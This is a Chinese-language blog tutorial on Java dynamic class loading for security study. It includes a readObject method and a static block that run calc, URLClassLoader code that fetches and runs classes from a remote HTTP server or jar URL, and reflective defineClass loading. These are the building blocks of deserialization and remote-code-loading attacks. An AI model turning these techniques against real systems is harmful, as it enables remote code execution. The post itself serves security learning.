0x02 类的动态加载
文章目录
即虚拟机加载.class
文件
在类加载的时候会执行代码
初始化:静态代码块
实例化:构造代码块、无参构造函数
实例:
public class Person implements Serializable {
// private transient String name; 使用transient 不会被反序列化存储
public String name;
private int age;
public static int id;
//不管调用哪种静态方法 都会调用静态代码块
static {
System.out.println("这是静态代码块");
}
public static void staticAction(){
System.out.println("这是静态方法");
}
//不管调用哪种构造方法 都会调用构造代码块
{
System.out.println("这是构造代码块");
}
public Person(){
System.out.println("这是无参Person");
}
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
private void action(String act){
System.out.println(act);
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}
创建一个加载类:
package bli_seri;
public class LoadClassTest {
public static void main(String[] args) throws Exception{
new Person();
}
}
输出:
注意这里的静态代码块仅会在初始化时执行一次,因为刚刚在测试的时候 打算一次输出,但是发现只会产生一次
动态类加载方法:
Class.forName
: 可以选择是否进行初始化 注意!避坑,如果想加载的类在不同包里 一定要加上包名
初始化:
package bli_seri;
public class LoadClassTest {
public static void main(String[] args) throws Exception{
//初始化动态注册 方法1
Class c = Person.class;
System.out.println(c);
Class.forName(c.getName());
//初始化动态注册 方法2
Class.forName("bli_seri.Person"); //动态注册 会初始化
}
}
不初始化:
可控:
流程:
继承关系:
ClassLoader -> SecureClassLoader -> URLClassLoader -> AppClassLoader
调用关系:
loaClass -> findClass(重写方法) -> defineClass(从字节码加载类)
我们想根据这个底层的原理 实现对任意类进行加载
javac原理:
将源码文件.java
编译成对应的字节码文件.class
下面尝试使用URLClassLoader进行尝试
testCalc文件:
package TryLoad;
import java.io.IOException;
public class testCalc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
注意小锤子是编译 生成.class
放在指定路径下
package bli_seri;
import java.net.URL;
import java.net.URLClassLoader;
public class LoadClassTest {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///F:\\tmp\\classes\\")});
Class<?> c = urlClassLoader.loadClass("TryLoad.testCalc");
//初始化 加载静态代码块内容
c.newInstance();
}
}
一定要注意这种有包的路径问题
执行成功
http协议:
有一个避坑点,这个可能在真实利用的场景中没影响,就是idea对本地的url无法发起请求 但是对外部服务器可以正常执行
执行代码:
package bli_seri;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
public class LoadClassTest {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://120.xxx.xxx.xxx:7789/")});
Class<?> c = urlClassLoader.loadClass("Test");
//初始化 加载静态代码块内容
c.newInstance();
}
}
文件信息: 也补充一个杀死端口进程的方法
jar协议:
对单独的class文件进行打包 成jar文件
命令:jar -cvf Calc.jar Clac.class
http读取方法:
代码: 注意格式
import java.net.URL;
import java.net.URLClassLoader;
public class tryCalc {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http://120.xxx.xxx.xxx:7789/Test.jar!/")});
Class calc = urlClassLoader.loadClass("Test");
calc.newInstance();
}
}
file读取方法:
文件位置
//使用defineCLass
//后面是根据参数写的 defineClass(String name, byte[] b, int off, int len)
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\Test.class"));
Class cd = (Class) defineClassMethod.invoke(cl, "Test", code, 0, code.length);
cd.newInstance();
通用一些,因为相比于http可以做到不出网
标签:java,String,URLClassLoader,class,JavaSec,初探,public,加载 From: https://blog.csdn.net/jayq1/article/details/141321012